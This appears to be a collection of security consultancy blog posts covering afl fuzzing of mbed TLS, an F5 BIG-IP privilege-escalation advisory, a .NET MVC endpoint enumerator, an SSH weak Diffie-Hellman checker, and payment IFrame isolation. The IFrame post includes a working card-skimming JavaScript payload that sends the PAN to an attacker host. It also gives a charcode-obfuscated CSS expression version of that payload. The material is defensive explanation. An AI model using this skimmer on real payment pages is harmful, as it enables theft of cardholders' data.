Fuzzing the mbed TLS Library


GDS recently discovered a client-side NULL pointer dereference in all versions of mbed TLS using afl-fuzz.  The issue was reported to ARM who quickly released fixes for all affected versions.  See below for further details.


Fuzzing is a testing technique that feeds a program under inspection with random inputs and observes its behavior. The goal of fuzzing is to discover bugs in the inspected program. Michal Zalewski’s fuzzer american fuzzy lop (afl) is currently one of the most sophisticated open source fuzzers due to its unique approach to fuzzing. Afl utilizes compile-time instrumentation and genetic algorithms to discover test inputs that crash the program under inspection. The fuzzer has gained popularity due to finding plenty of bugs in open source projects. The findings include the recent vulnerability in the BIND9 DNS server which enables attackers to crash the DNS server via a crafted TKEY query. Hanno Boeck reported that the Heartbleed vulnerability in OpenSSL which allows attackers to read parts of the server memory could have been found using afl. A popular alternative to OpenSSL is mbed TLS. The library was formerly called PolarSSL and is owned by ARM Limited. Inspired by Hanno’s OpenSSL fuzzing efforts, this blog post describes how afl can be used to fuzz the mbed TLS 2.0.0 and mbed TLS 1.3.12 libraries.

Creating a Fuzzable Instance

The Transport Layer Security (TLS) protocol is a commonly used protocol which allows a TLS client and a TLS server to establish an encrypted and integrity-protected communication channel over a computer network such as the Internet. TLS is the successor of the Secure Sockets Layer (SSL) protocol which was developed by Netscape. SSL has been considered insecure since the advent of the POODLE attack in 2014. TLS/SSL serves as the basis for many other network protocols such as HTTPS which allows web browsers to securely communicate with web servers. RFC 5246 defines TLS 1.2 which is the latest released version of TLS. More high-level descriptions of TLS/SSL are available from Microsoft, a blog post by Alvaro Castro-Castilla, and the test page.

As TLS is a network protocol, the network packets which the client and server applications exchange constitute interesting candidates for fuzzing. A network packet that crashes the client or server application exhibits a severe vulnerability, as attackers who can communicate with the vulnerable application only need to replay the corresponding packet (and potentially previous packets) in order to mount a Denial-of-Service (DoS) attack. Depending on the nature of the vulnerability, it might also be possible to gain control over the application and the underlying operating system.

To be able to fuzz the network packets, a program that runs the TLS protocol has to be implemented. The program needs to support reading program input from files and use it as the content of a specific network packet. Implementing such a program poses several challenges. A straightforward approach to implement a run of the TLS protocol would be to launch a client thread and a server thread. While it is possible to fuzz a multi-threaded binary, it is highly recommendable to stick to a single thread to obtain predictable results. Therefore, our approach is to implement a single-threaded TLS client and server combination. Hanno Boeck also adopted this approach to fuzz OpenSSL for the Heartbleed vulnerability.

The source code under programs/ssl/ in the mbed TLS source folder served as a starting point for our implementation of a fuzzable program. In particular, the files ssl_server.c and ssl_client1.c provide suitable TLS server and client implementations. The server and client code has to be intertwined accordingly such that the program completes a TLS handshake and exchanges data over the TLS channel. One obvious challenge here is to handle the communication in a way that prevents the client and server from infinitely waiting for a response. In the handshake phase, for example, the client and server may send and receive several packets in a row. Simply letting the client and server carry out one handshake step (which involves merely sending or receiving a packet) in a loop is not sufficient, as the client or server may block waiting to receive a packet that the other side has not sent. Instead, it is necessary to let the client and server execute a specific number of handshake steps in each iteration of the loop until both finish the handshake. As the client and server run in the same thread, it is desirable to let the client and server communicate over a buffer in memory rather than network sockets for performance reasons. Therefore, our program utilizes memory buffers by default, but users can instruct the program to use network communication instead. An additional challenge is to render the program deterministic in order to allow for thorough testing with predictable results. To make the implementation deterministic, we replaced the random number generator function with a function that returns a nonzero constant (using zero is not possible due to requirements for key generation). Moreover, the client and server send a timestamp as part of their Hello messages. Therefore, we modified mbed TLS to use a constant timestamp to achieve deterministic behavior. In addition to reading the content of a network packet from a file, our program allows for saving all network packets that are exchanged in the deterministic program run as separate files.

Fuzzing Stage

Afl requires the target binary to be compiled with instrumentation capabilities. Moreover, we have to instrument the mbed TLS library. To do this, we wrote a compilation script that builds mbed TLS and our test program using afl’s best optimizing compiler afl-clang-fast. The llvm_mode/README.llvm of afl states that using afl-clang-fast “some slow, CPU-bound programs will run up to around 2x faster.”

In addition to the compilation script, we wrote a script to automate the fuzzing process. The script expects the number of the packet to fuzz and the fuzzer number as its arguments. Our script is able to leverage the parallel fuzzing capability of afl. To run the afl fuzzing tasks in parallel on different processor cores, it is necessary to set up a master instance by setting the fuzzer number argument of the script to 1.  The script then sets up the folder structure including the test input and output folders, generates the initial network packet to fuzz, and launches the master instance. All other fuzzing instances are slaves. Our script provides for a convenient way to launch slaves.

It is important to note that memory access errors do not necessarily lead to a program crash. If that is the case, afl will not be able to detect the bug. However, it is possible to compile the targeted code with the powerful LLVM/Clang tools AddressSanitizer (add AFL_USE_ASAN=1 to the environment) or MemorySanitizer (add AFL_USE_MSAN=1 to the environment) activated and then run afl. Memory access error will now crash the target program. Compiling the binary with the environment variable AFL_HARDEN=1 set, also facilitates detecting simple memory access errors. While the tools enable afl to detect more bugs, the runtime performance of the compiled binary decreases. On 64-bit systems, AddressSanitizer has to be used with caution, since it reserves a lot of virtual memory which can render the system unstable. Under Linux, it is possible to use the script experimental/asan_cgroups/ that ships with afl to leverage cgroups to restrict the resource usage. A tutorial of the Fuzzing Project by Hanno Boeck and the afl documentation located at docs/notes_for_asan.txt provide further details.

The following screenshot shows the master instance of afl fuzzing the fourth network packet.


Our fuzzing scans discovered client-side NULL pointer dereference vulnerabilities in mbed TLS which affect all maintained versions of mbed TLS. ARM fixed the issues in versions 2.1.1, 1.3.13 and PolarSSL version 1.2.16.  See the release notes for details.


In this blog post, we explored an approach to fuzz the mbed TLS library using afl. The tool was able to discover previously unknown vulnerabilities in mbed TLS. Going forward, we aim that our tool remains useful for testing mbed TLS. Moreover, we hope that the description of our efforts aids others in using afl to find bugs in (network protocol) libraries. Since June 2015, afl supports the so called persistent mode which avoids the overhead of constantly forking a new process for every fuzzing input. The idea of persistent mode is to let afl iteratively feed test input into a long-lived process. In each iteration, the process resets the state, reads the test input from afl, and executes the code under inspection. While persistent mode is still considered experimental, it potentially facilitates the process of making programs fuzzable and offers promising performance benefits.

Our test program and scripts are available on GitHub:


We thank Michal Zalewski for creating the wonderful fuzzer afl, Hanno Boeck for starting the Fuzzing Project and his Heartbleed rediscovery efforts using afl, and the mbed TLS team at ARM for their rapid response to this issue.


F5 iCall::Script Privilege Escalation (CVE-2015-3628)


Earlier this year GDS discovered a vulnerability in the F5 BIG-IP LTM product that allows a user with limited access to the system to escalate privileges and obtain highly privileged remote command execution on the device.

This issue was identified in the SOAP interface exposed on these devices at https://<host>/iControl/iControlPortal.cgi (a similar issue, although in a completely different function, was previously found in this same interface -  see CVE-2014-2928). An attacker with valid credentials for the web interface and the Resource Administrator role can abuse the iCall SOAP functions to run arbitrary commands on the device with root privileges.

Am I vulnerable?

This vulnerability has been fixed in BIG-IP version 12.0 and 11.5.3 HF2. Other versions of BIG-IP from 11.3 to 11.6 have been confirmed to be vulnerable. Additionally, all versions of BIG-IQ and versions of Enterprise Manager from 3.1 are vulnerable. For more detailed information see the F5 Security Advisory.


Detailed exploitation information is available on request and will be published after further patches are released.



Upgrade to BIG-IP version 12.0 or apply vendor patches once they are released. In the interim review configuration for any accounts in the Resource Administrator role. Update the configuration to use the least privilege necessary, while acknowledging that Resource Administrators have unconstrained privileges until this issue is patched.


Enumerating .NET MVC Application Endpoints with Roslyn

When performing security code reviews of .NET web applications, one of the first goals for the reviewer should be to enumerate the external facing attack surface. For ASPX based applications this is achieved by enumerating all files with an aspx or ascx extension. Additionally, the ‘web.config’ file should be parsed for any exposed HttpModules, HttpHandlers and configured web services. Over the years, more and more applications have been transitioning to .NET MVC. With this transition the process for enumerating endpoints becomes a bit trickier.

When encountering a .NET MVC web application, Controllers handle the processing of incoming requests and are tied to exposed URL endpoints in the application. To successfully enumerate an application’s web attack surface, finding all classes that inherit from Controller base classes and enumerating their public methods is required. Additionally, .NET MVC introduces Filter Attributes that can be set at a Global, Controller (class) or Action (method) level.

For example, the DataController class in the code snippet below exposes an action named Index() that returns the current time. This action is decorated with the OutputCache action filter.

Therefore, prior to executing the code within the method, the logic of the ‘OutputCache’ action attribute will be executed first. There are out of the box Filter Attributes provided by .NET, or you can create your own. The ‘HttpGet’ attribute set on the method scopes the request to accepting only ‘GET’ requests. The ‘Route’ method defines the URL endpoint a user would need to hit in order to be routed to run the ‘Index()’ method.

Snippet 1 – Controllers\DataController.cs

public class DataController : Controller
	public string Index(){
		return DateTime.Now.ToString("T");

It is very common for applications to use Filter Attributes to handle security related tasks. Some frequently observed examples of security related logic are:

  • Authentication enforcement

  • User/role based access control

  • CSRF token validation

  • Cache control headers

  • Setting of HTTP security headers

Having the ability to enumerate all exposed application endpoints and their associated Filter Attributes becomes very powerful during a manual security code review. The code reviewer will have the ability to quickly identify the application’s attack surface and identify gaps in security coverage based on the Filter Attributes assigned.


In order to perform our enumeration we used the .NET Compiler Platform (Roslyn) which provides open-source C# and Visual Basic compilers with powerful code analysis APIs. It enables building code analysis tools with the same APIs used by Visual Studio. It is a workable ‘compiler as a service’ API – that is to say that it exposes the C# compiler as an API for developers to call and work with the syntax tree. The APIs allow us to automate the enumeration process very accurately compared to simply using regex based ‘grepping’.

The Roslyn APIs are available by default within Visual Studio 2015. Alternatively, it can be installed through NuGet by installing the ‘Microsoft.CodeAnalysis’ package.

Using the APIs, we can iterate through all ‘*.cs’ files within a given directory and parse each file using the ‘CSharpSyntaxTree.ParseText’ method. This method turns the parsed file into a syntax tree that can then be analyzed.

using (var stream = File.OpenRead(path))
    var tree = CSharpSyntaxTree.ParseText(
        SourceText.From(stream), path: path);

    SyntaxNode root = tree.GetRoot();

In order to identify the classes that inherit from a Controller class, you can traverse the syntax tree and check the base type of the class.

public bool inheritsFromController(SyntaxNode root, String args) {
    bool isValid = false;
    try {
        isValid = root.DescendantNodes()
            .Equals("ApiController") || 

Retrieving the class declaration for the Controller and all of its public methods can be performed using the following code.

ClassDeclarationSyntax controller =
.First(); //Get all the public methods in this class IEnumerable<MethodDeclarationSyntax> methods = from m in root.DescendantNodes() .OfType<MethodDeclarationSyntax>() where m.Modifiers.ToString().Contains("public") select m;

Now that the Controller and its public methods are enumerated we can extract the attribute assigned at both the class and method levels. The attributes can be retrieved by reading the ‘AttributeLists’ value of the ClassDeclarationSyntax and/or MethodDeclarationSyntax objects.

Public methods with a route defined are potential entry points to the application and can be invoked through HTTP requests. Before invoking the code within the method, the request will be processed by the filter attributes defined globally, at the controller level and at the method level.

.NET MVC Enumeration Tool

We are releasing a tool that utilizes the Roslyn API to automate the enumeration of .NET MVC controller entry points. The tool runs against a given directory and identifies:

  • All classes that inherit from a Controller class

  • All public methods within Controller class

  • Attributes assigned to a method including the ones set at the class level

The basic usage of the script is as follows:

> DotNetMVCEnumerator.exe -h

Usage: DotNetMVCEnumerator.exe

[-d Directory To Scan  *Required]

[-a Attribute Name to Search]

[-n Attribute Name To Perform Negative Search]

[-o File Name to Output Results as CSV]

[-h Display Usage Help Text]

Sample Usage 1 - Scan code within a directory and write output to the ‘results.csv’ file.

> DotNetMVCEnumerator.exe -d “C:\Code” -o results.csv

Sample Usage 2 - Scan code and only include results of methods containing the ‘CSRFTokenValidate’ attribute filter. The output is written to the console and to the ‘results.csv’ file.

> DotNetMVCEnumerator.exe -d “C:\Code” -o results.csv -a CSRFTokenValidate

Sample Usage 3 - Scan code and only include results of methods missing the ‘Authorize’ filter attribute. The output is written to the console and to the ‘results.csv’ file.

> DotNetMVCEnumerator.exe -d “C:\Code” -o results.csv -n Authorize

The tool is very useful to quickly identify any methods that may be missing authorization controls enforced through filter attributes. The CSV output is very helpful during manual code reviews in order to:

  • Quickly identify test/debug or administrative functionality that is accidentally exposed based on the name of the Controller or method name or URL route path.

  • Identify classes that are missing filter attributes and therefore may be missing the enforcement of security controls.

  • Keep track of your manual code review progress by leaving comments in the spreadsheets as each external entry point is reviewed.

Excel can be used to perform column based filtering based on your needs. 

The source code and binary for the tool can be found on our Github repository:


SSH Weak Diffie-Hellman Group Identification Tool


The LogJam attack against the TLS protocol allows a man-in-the-middle attacker to downgrade a TLS connection such that it uses weak cipher suites (known as export cipher suites). More precisely, the attack forces a Diffie-Hellman (DH) key exchange based on a weak group. A group (multiplicative group modulo p where p is prime) is considered weak if the defining prime has a low bit length.

Many key exchange protocol implementations, including those for TLS, utilize publicly known DH groups such as the Oakley groups used for IKE. The disadvantage of employing a publicly known group is that an attacker may already have precomputed information that helps in breaking an instance of a DH key exchange relying on that group. To impede precomputation attacks, TLS implementations typically enable the configuration of unique DH groups on the server-side.

The DH key exchange protocol is not only used as part of the TLS protocol but for many other protocols including the SSH protocol. While there are test tools (e.g. the web tool from the LogJam authors or the command-line openssl tool) which check whether the LogJam vulnerability exists for TLS-based services, there are currently no test tools available for SSH.

Weak Diffie-Hellman Groups in SSH

In contrast to TLS, the SSH protocol (defined in RFC 4253) does not support export cipher suites and does not suffer from a known design flaw that enables cipher suite downgrade attacks. The SSH protocol specification requires implementations to support at the least the following two DH key exchange methods:

  • diffie-hellman-group1-sha1

  • diffie-hellman-group14-sha1

Both methods use an Oakley group; the first method uses the Oakley Group 2 of size 1024 bits and the second method uses the Oakley Group 14 of size 2048 bits.

The authors of the LogJam paper envision that it may be possible for nation states to break 1024-bit groups. Therefore, the authors recommend disabling diffie-hellman-group1-sha1 on the server-side. For example, OpenSSH allows for enabling key exchange methods through the parameter KexAlgorithms in the server configuration file. The configuration file is typically located at /etc/ssh/sshd_config.This method is also expected to be disabled by default in the imminent OpenSSH 7.0 release.

Besides the two discussed DH key exchange protocols, many SSH clients and servers implement the two additional DH group exchange methods from RFC 4419:

  • diffie-hellman-group-exchange-sha1

  • diffie-hellman-group-exchange-sha256

When using either of these methods the SSH client starts the exchange protocol by proposing a minimal, preferred, and maximal group size in bits. The server then picks “a group that best matches the client’s request”. However, RFC 4419 leaves open how the server makes this choice. Therefore, the chosen group size is implementation-dependent. Finally, the client and server execute the DH protocol to exchange a key.

The authors of the LogJam paper recommend using ECDH or generating large, unique DH groups on the server for the DH group exchange protocols. For the OpenSSH server implementation, they provide the following commands that generate unique 2048-bit DH groups:

  • ssh-keygen -G moduli-2048.candidates -b 2048

  • ssh-keygen -T moduli-2048 -f moduli-2048.candidates

The file moduli-2048 is then used to replace the system SSH moduli file, typically /etc/ssh/moduli.

The DH key exchange protocol parameters that the client and server end up using depend on both the client and server configuration. As explained in RFC 4253, both the client and server propose a list of supported key exchange algorithms (in this context, the terms protocol and algorithm are interchangeable), ordered by preference where the first algorithm is the most preferred. In simple terms, if the client and server do not prefer the same suitable algorithm, the client and server iterate over the client’s key algorithm list and choose the first algorithm that both sides support and that is compatible with the other algorithms that SSH relies upon.


We present a tool to identify whether an SSH server configuration permits the use of a weak DH key exchange group. To determine whether an SSH client is able to exchange a key using a weak DH group, our tool attempts to connect to the server with specific client configurations. The configuration parameters include the key exchange algorithm and the minimum, preferred, and maximum group sizes. While we provide diverse test configurations, it is straightforward to add new configurations or modify the existing ones. Furthermore, the user may configure additional client parameters such as the list of preferred encryption and MAC algorithms.

Our tool can actually be considered a tool chain consisting of three components: a shell script, a patched OpenSSH client, and a Python based analysis script. The shell script we provide allows for enumerating all user-specified configurations. This script uses an OpenSSH client that has been patched to abort the network connection after completing the key exchange. Consequently, this client does not attempt to authenticate to the server. Moreover, our OpenSSH client patch allows for specifying the minimum, preferred, and maximum group size in bits through the command-line option -d (mnemonic: Diffie-Hellman). The adapted client prints important information regarding the DH key exchange. The shell script then stores this output in files. To analyze these files we provide a Python script. The shell script automatically launches this analysis script. However, it is also possible to run the analysis script later on the output files.

We chose the OpenSSH client, since it is a widely used open source SSH client implementing an extensive set of features. Moreover, these features are easy to configure using a configuration file or command-line options. In particular, we patch the latest stable version of the portable OpenSSH client (OpenSSH 6.9p1). Testing was conducted on Ubuntu 14.04 and Mac OS X Yosemite.


In the following example, we run our tool against an OpenSSH 6.6.1p1 server as it is shipped with Ubuntu 14.04, i.e. the server uses the default configuration.

To run our tool, we specify the host where the server is running and optionally specify the port number (defaults to 22).

Script invocation

KEX proposal client: [email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
KEX proposal server: [email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
KEX algorithm chosen: [email protected]
——— SNIP ———
KEX proposal client: diffie-hellman-group-exchange-sha256
KEX proposal server: [email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
KEX algorithm chosen: diffie-hellman-group-exchange-sha256
KEX client group sizes: min = 768, nbits = 768, max = 768
Connection closed by
KEX proposal client: diffie-hellman-group-exchange-sha256
KEX proposal server: [email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
KEX algorithm chosen: diffie-hellman-group-exchange-sha256
KEX client group sizes: min = 1024, nbits = 1024, max = 1024
KEX server-chosen group size in bits: 1024
——— SNIP ———
KEX proposal client: diffie-hellman-group-exchange-sha256
KEX proposal server: [email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
KEX algorithm chosen: diffie-hellman-group-exchange-sha256
KEX client group sizes: min = 2048, nbits = 2048, max = 2048
KEX server-chosen group size in bits: 2048

Analysis of results

——— SNIP ———

The client proposed the following group size parameters (in bits): min=1024, nbits=1024, max=1024.

The client and server negotiated a group size of 1024 using diffie-hellman-group-exchange-sha1.

The security level is INTERMEDIATE (might be feasible to break for nation-states).

——— SNIP ———

The client proposed the following group size parameters (in bits): min=2048, nbits=2048, max=2048.

The client and server negotiated a group size of 2048 using diffie-hellman-group-exchange-sha256.

The security level is STRONG.

The trimmed output above shows that the server supports the [email protected] key exchange algorithm. Moreover, we can observe that the server closes the connection when the client requests a 768-bit group in conjunction with the diffie-hellman-group-exchange-sha256 algorithm. Another interesting finding from the output above is that the server permits DH key exchanges using a 1024-bit group. While a 1024-bit group is sufficient in many environments, attackers with nation-state size resources may be able to break the key exchange. If a higher level of security is needed a server administrator could reconfigure the SSH server and rerun our tool to validate that the configuration is as desired.


We presented a tool which establishes multiple connections to an SSH server, thereby enumerating through various client configurations, in order to determine whether the server allows a DH key exchange based on a weak group. We hope that our tool will be useful to check SSH servers for weak DH key exchange configurations.

The source code to the tool can be found on our Github repository:




The Perils of Implementing Secure Payment IFrames

Web applications that handle sensitive data, in particular card payment information, commonly use an embedded IFrame to provide users with a seamless customer experience. This IFrame (which may be provided from a third party payment service provider) should be served from a separate domain to leverage the browser same-origin policy controls. These controls prevent direct interaction between the consuming web application and the frame processing the payment details. For example, JavaScript executing within the business application cannot read cardholder details from within the embedded payment frame. This is a common justification for removing the application from the scope of PCI-DSS assessment leaving only the (possibly third party) IFrame that handles payment card data.

This method of segregating sites which handle card data from those that don’t can be effective provided some requirements are met. The first, as mentioned above, is that the business application and payment gateway should be served from completely different domains. It is important to note that subdomains should not be used unless the security implications are fully understood as, in some cases, the same origin policy can be bypassed by changing the “document.domain” value for the page. The second requirement is that no unvalidated data is passed from the business application to the payment IFrame. This is of critical importance because it may make it possible for an attacker to read data, such as the user’s Primary Account Number, from the payment IFrame if data controllable by an attacker is processed within the context of the payment domain.

While these concepts seem simple, this second requirement is one which bears closer inspection. Ensuring that data such as text supplied by the user is not passed to the payment IFrame is an obvious security control in this scenario. There are however other situations which are sometimes overlooked in which data could be passed into the payment IFrame. It is one such example, which GDS has encountered during security assessments, that we’ll examine below - stylesheets.

In many cases the source page for the payment IFrame is a generic site which handles payments for a large number of business applications, either within the same organisation or as a service to third parties. This page is unlikely to be styled the same way as the site which is using it, which may be an issue if it is important to reassure customers that they are dealing with a trustworthy retailer, or to present a consistent brand identity. To address this it is may be important to style the payment IFrame as if it is part of the business application in which it is embedded. This can be achieved by using images and CSS files which match those used by the business application, however this opens up a potential problem.

If the image or CSS files used to style the payment IFrame are imported directly from the business application site, then an attacker who gains control over the business application, or the server it resides on, may be able to insert malicious data into these files, and consequently into the payment IFrame. This compromises the security model used by the application to isolate sensitive data and potentially brings the entire business application into scope for assessment of card data handling.

To avoid this scenario it is therefore important to ensure that all external resources used by the IFrame are only loaded from trusted locations that are not controlled by the business application or its hosting system. Any resources provided by the application or application owners should be reviewed prior to being made available from the payment domain to ensure that they are suitable.

Example Attack

The following is an example of an attack which could be carried out using a compromised CSS file.

For demonstration purposes this is what the page looks like without the style applied, the borders of the IFrame are clearly visible.

When the style from the business application is applied the page looks like this, as you can see the IFrame, though still present, is not clearly visible.

The code to include the payment IFrame in the business application is as follows:

<iframe src=”https://payment-provider.gds:4443/customer_pan.html#css=https://business-application.gds/style.css” width=”600” height=”110” frameBorder=”0”>

As can be seen the payment site is hosted on a different domain and port from the business application. This means that the restrictions of the same origin policy will apply, however the payment IFrame loads the CSS file of the business application as shown below.

If an attacker were to gain control of the business application they could change the stylesheet to insert a malicious payload, the following example is JavaScript code to extract the customer’s PAN number when the “Next” button is clicked and send it to a remote attacker controlled location.

if(document.getElementById("stealer") == null) {
  var node=document.createElement("script");
  node.text='function steal() {' + 
    'if(window.XDomainRequest) {' +
      'xmlhttp = new XDomainRequest()' +
else if(window.XMLHttpRequest) {' + 'xmlhttp = new XMLHttpRequest()' +
else {' +
'xmlhttp = new ActiveXObject("Microsoft.XMLHTTP")' +
+ '"GET",' +
'"https://attacker.gds:31337/index.html?pan="+' +
'document.getElementById("customerPan").value,' +
+ 'xmlhttp.send();' + 'document.getElementById("payment").submit()' + '};'; document.getElementsByTagName('head')[0].appendChild(node) } try { document.getElementById("next").outerHTML=
'<input id="next2" type="button" value="Next" ' +
' } catch(err) { }

Making this code execute from a CSS file can be achieved using CSS expressions. These trigger when any action is performed on the page so it is necessary to verify that any new elements have not been added already and to catch any errors which may occur when replacing elements.

The following code (an encoding of the above) can be added as the first line of the style sheet to execute this attack.

@import "data:,*%7bx:expression(eval(String.fromCharCode(105,
  102, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103,
  101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73,
  100, 40, 34, 115, 116, 101, 97, 108, 101, 114, 34, 41, 32,
  61, 61, 32, 110, 117, 108, 108, 41, 123, 118, 97, 114, 32,
  110, 111, 100, 101, 61, 100, 111, 99, 117, 109, 101, 110,
  116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109,
  101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41,
  59, 110, 111, 100, 101, 46, 115, 101, 116, 65, 116, 116,
  114, 105, 98, 117, 116, 101, 40, 34, 105, 100, 34, 44, 34,
  115, 116, 101, 97, 108, 101, 114, 34, 41, 59, 110, 111,
  100, 101, 46, 116, 101, 120, 116, 61, 39, 102, 117, 110,
  99, 116, 105, 111, 110, 32, 115, 116, 101, 97, 108, 40, 41,
  123, 105, 102, 40, 119, 105, 110, 100, 111, 119, 46, 88,
  68, 111, 109, 97, 105, 110, 82, 101, 113, 117, 101, 115,
  116, 41, 123, 120, 109, 108, 104, 116, 116, 112, 32, 61,
  32, 110, 101, 119, 32, 88, 68, 111, 109, 97, 105, 110, 82,
  101, 113, 117, 101, 115, 116, 40, 41, 125, 101, 108, 115,
  101, 32, 105, 102, 40, 119, 105, 110, 100, 111, 119, 46,
  88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115,
  116, 41, 123, 120, 109, 108, 104, 116, 116, 112, 32, 61,
  32, 110, 101, 119, 32, 88, 77, 76, 72, 116, 116, 112, 82,
  101, 113, 117, 101, 115, 116, 40, 41, 125, 101, 108, 115,
  101, 123, 120, 109, 108, 104, 116, 116, 112, 32, 61, 32,
  110, 101, 119, 32, 65, 99, 116, 105, 118, 101, 88, 79, 98,
  106, 101, 99, 116, 40, 34, 77, 105, 99, 114, 111, 115, 111,
  102, 116, 46, 88, 77, 76, 72, 84, 84, 80, 34, 41, 125, 59,
  120, 109, 108, 104, 116, 116, 112, 46, 111, 112, 101, 110,
  40, 34, 71, 69, 84, 34, 44, 34, 104, 116, 116, 112, 115,
  58, 47, 47, 97, 116, 116, 97, 99, 107, 101, 114, 46, 103,
  100, 115, 58, 51, 49, 51, 51, 55, 47, 105, 110, 100, 101,
  120, 46, 104, 116, 109, 108, 63, 112, 97, 110, 61, 34, 43,
  100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116,
  69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 34,
  99, 117, 115, 116, 111, 109, 101, 114, 80, 97, 110, 34, 41,
  46, 118, 97, 108, 117, 101, 44, 102, 97, 108, 115, 101, 41,
  59, 120, 109, 108, 104, 116, 116, 112, 46, 115, 101, 110,
  100, 40, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46,
  103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121,
  73, 100, 40, 34, 112, 97, 121, 109, 101, 110, 116, 34, 41,
  46, 115, 117, 98, 109, 105, 116, 40, 41, 125, 59, 39, 59,
  100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116,
  69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97,
  103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41,
  91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105,
  108, 100, 40, 110, 111, 100, 101, 41, 125, 59, 116, 114,
  121, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103,
  101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73,
  100, 40, 34, 110, 101, 120, 116, 34, 41, 46, 111, 117, 116,
  101, 114, 72, 84, 77, 76, 61, 39, 60, 105, 110, 112, 117,
  116, 32, 105, 100, 61, 34, 110, 101, 120, 116, 50, 34, 32,
  116, 121, 112, 101, 61, 34, 98, 117, 116, 116, 111, 110,
  34, 32, 118, 97, 108, 117, 101, 61, 34, 78, 101, 120, 116,
  34, 32, 111, 110, 67, 108, 105, 99, 107, 61, 34, 115, 116,
  101, 97, 108, 40, 41, 34, 62, 39, 125, 99, 97, 116, 99,
  104, 40, 101, 114, 114, 41, 123, 125)))%7D";

The following screenshot shows the screen after the customer has entered their card number, for demonstration purposes other card details are not required by this form but could also be trivially captured by an attacker.

When the “Next” button is clicked the customer’s PAN is sent to the attacker and the form is submitted. To the user it appears that nothing unusual has occurred and the normal next screen of the payment process is shown.

However the customer’s PAN has already been received by the attacker as shown below.


There are some limitations to this particular attack, though there are other attacks which can be carried out which may not suffer the same limitations or which may work on other browsers. This implementation is limited to attacking users on Internet Explorer as it makes use of the CSS expression statement. This attack will also only normally work on Internet Explorer 7 and below, however Internet Explorer versions up to 10 (Windows 8.0), can be vulnerable. This is because Internet Explorer renders pages shown in an IFrame in the same compatibility mode as that of the parent frame. If an attacker controls the business application they can set the meta tag “<meta http-equiv=’X-UA-Compatible’ content=’IE=7’>” in the HTML header to force Internet Explorer 7 compatibility mode on the parent page, and therefore the payment provider page. In Internet Explorer 11 (Windows 7 if updated and Windows 8.1), CSS expressions are disabled for the “Internet” zone, therefore this attack would only work for sites in the “Local intranet” or “Trusted sites” zones for this version.